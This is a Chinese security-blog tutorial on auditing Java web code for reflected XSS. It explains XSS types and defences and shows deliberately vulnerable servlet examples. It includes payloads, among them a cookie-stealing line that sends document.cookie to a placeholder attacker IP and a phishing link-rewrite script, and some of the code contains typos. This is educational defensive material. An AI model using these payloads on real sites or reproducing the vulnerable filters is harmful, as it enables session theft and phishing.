freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

java代码审计跨站脚本(XSS)--反射型
2024-04-17 16:33:32

一、基础:跨站脚本(Xss)

一、原理:

恶意攻击者往web页面里插入恶意js代码,而在服务端没有对数据进行严格的过滤。当用户浏览页面时,js代码必须在该html页面中(hrml必须要存在这个而已艾玛),从而达到攻击用户的目的。(攻击者构造的的js代码会被当作正常的HTML、JS代码被解析,执行Js脚本实现攻击意图)

xss可能存在的位置:url,POST、GET的传递参数,HTTP头(Cookie)

二、危害

  1. 流量劫持

  2. 获取用户Cookie信息,盗取账号

  3. 篡改,删除页面信息(钓鱼)

  4. 配合CSRF攻击,实施进一步的攻击

  5. XSS2RCE-控制对方电脑

三、分类

存储型:持久性xss--一劳永逸-存入数据库、session、文件、js(局部)

常见位置:用户留言、评论、用户昵称、用户信息等

反射性:非持久xss--不会存在数据库或某些落地的文件,js

常见位置:用户登录、搜索框、订单

DOM型:特殊的跨站,用户可控数据通过js和DOM技术输出到HTML中,利用方式通常与反射xss类似

四、payload

  1. alert(123)

  2. confirm(123)

  3. prompt(123)

五、利用

  1. 盗取cookie

    1. window.location.herf='http://ip/getCookie.php?cookie=' + document.cookie

  2. 钓鱼获取密码

    1. document.getElementsByTagName("body")[0].onload=function chageLink(){document.getElementByTagName("a")[1].href="http://攻击者IP/rePasswd.php"}`

  3. 流量劫持

    1. 跳转页面法

    2. AJAX提交法

  4. 标签payload

    1. <script>alert(1)</script>

    2. <img src="xxx" onerror=alert(1)>

    3. <img src="javascript:alert(1)">

    4. <a href="javascript:alert(1)">

六、攻击

  • 构造闭合

    • 用户输入即可能存在XSS注入,当然前提条件为HTML文件必须要存在这个构造的XSS恶意代码。它有可能存在a标签里,也有可能存在input标签里,Less。

  • 构造攻击语句

    • 攻击语句必须多种多样,因为服务器可能对某些攻击语句进行过滤;或也有可能存在某些语句服务器解释错误等。

七、防御

  • 过滤

    • 发现关键字时返回错误

  • 编码

    • 发现关键字进行编码

  • 插入

    • 发现关键字插入改变关键字语义符号

  • 删除

    • 发现关键字时删除关键字

  • 实体化编码

    • 将核心的关键字和关键符号进行过滤

二、审计---跨站脚本(Xss)

1、反射型XSS漏洞

(1)、常见的获取前端数据的方式

场景一、使用Servlet技术:


public static void test2(HttpServletRequest request,HttpServletResponse response) throws IOException {
String try02 = request.getParameter("try02");//获取从前端来的数据

场景二、使用Structs2框架

通过Action类绑定参数或model参数

1713339988_661f7e54621074365c84f.png!small?1713339988141

通过Action属性接受参数

1713340015_661f7e6fe0d8a4a905c96.png!small?1713340015810

场景三:使用SpringMVC获取前端参数:

可以看javaweb

反射型XSS漏洞通过外部输入,然后浏览器触发,审计过程寻找带参数的输出方法,然后根据输出方法对输出内容回溯输入参数

数据是从HttpServletRequest请求对象中获取的,但未对输入和输出数据进行过滤,扰乱以及编码等方面工作,无法对漏洞进行防御

1、未进行任何过滤


public static void test1(HttpServletRequest request,HttpServletResponse response) throws IOException {
String try01 = request.getParameter("try01");
//request.getParameter通过Http协议过来的参数,容器的实现来取得通过get和post方式提交而来数据'try01'
System.out.println("try01="+try01);
}

正常请求:

index.jsp?responseTry01=123

攻击请求:

index.jsp?responseTry01=<script>alert(123)</script>

2、对特殊单词进行过滤(基于黑名单进行过滤)


public static void test2(HttpServletRequest request,HttpServletResponse response) throws IOException {
String try02 = request.getParameter("try02");
if(try02 != null)
{
System.out.println("try02="+try02);
if(try02.contains("<script>"))
{try02 = "this pragram(02) is malice";}
else
{try02 += " try success"}
response.setCharacterEncoding("UTF-8");
response.setContentType("text/html;charset=utf-8");
response.sendRedirect(request.getContextPath()+"/index.jsp?responseTry02="+(try02));
}
}

contains:在字符串找到一个字符序列

3、黑名单过滤并过滤大小写


public static void test3(HttpServletRequest request,HttpServletResponse response) throws IOException {
String try03 = request.getParameter("try03");
if(try03 != null)
{
System.out.println("try03="+try03);
if(try03.toLowerCase().contains("<script>"))
{
try03 = "this pragram(03) is malice";
}
else
{
// try03 += " try success";
}
response.setCharacterEncoding("UTF-8");
response.setContentType("text/html;charset=utf-8");
response.sendRedirect(request.getContextPath()+"/index.jsp?responseTry03="+(try03));
}
}

toLowerCase():将所有字符转换为小写

4、替换数据


public static void test5(HttpServletRequest request,HttpServletResponse response) throws IOException {
String try05 = request.getParameter("try05");
if(try05 != null)
{
System.out.println("try03="+try05);
String payload1 = "</script>";
String payload2 = "<script>";
String payload3 = "<img";
List<String> payloads = new ArrayList<>();
payloads.add(payload1);
payloads.add(payload2);
payloads.add(payload3);
for (int i = 0; i < payloads.size(); i++) {
if (try05.contains(payloads.get(i))){
try05 = try05.replaceAll(payloads.get(i),"");
}
}
System.out.println("try05:"+try05);
response.setCharacterEncoding("UTF-8");
response.setContentType("text/html;charset=utf-8");
response.sendRedirect(request.getContextPath()+"/index.jsp?responseTry05="+(try05));
}
}

通过数据对黑名单数据进行替换

5、对非法字符转义


public static void test4(HttpServletRequest request,HttpServletResponse response) throws IOException {
String try04 = request.getParameter("try04");
if(try04 != null)
{
System.out.println("try04="+try04);
try04 = ESAPI.encoder().encodeForHTML(try04);
//编码的主要意义:使字符串中是Html标签的内容失去被浏览器解析的意义(但是怎么显示怎么显示)
System.out.println("编码处理:"+try04);
response.setCharacterEncoding("UTF-8");
response.setContentType("text/html;charset=utf-8");
response.sendRedirect(request.getContextPath()+"/index.jsp?responseTry04="+URLEncoder.encode(try04 ,"UTF-8"));
}
}

5、将黑名单数据进行替换


public static void test5(HttpServletRequest request,HttpServletResponse response) throws IOException {
String try05 = request.getParameter("try05");
if(try05 != null)
{
System.out.println("try03="+try05);
String payload1 = "</script>";
String payload2 = "<script>";
String payload3 = "<img";
List<String> payloads = new ArrayList<>();
payloads.add(payload1);
payloads.add(payload2);
payloads.add(payload3);
for (int i = 0; i < payloads.size(); i++) {
if (try05.contains(payloads.get(i))){
try05 = try05.replaceAll(payloads.get(i),"");
}
}
System.out.println("try05:"+try05);
response.setCharacterEncoding("UTF-8");
response.setContentType("text/html;charset=utf-8");
response.sendRedirect(request.getContextPath()+"/index.jsp?responseTry05="+(try05));
}
}
# web安全 # Java代码审计
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录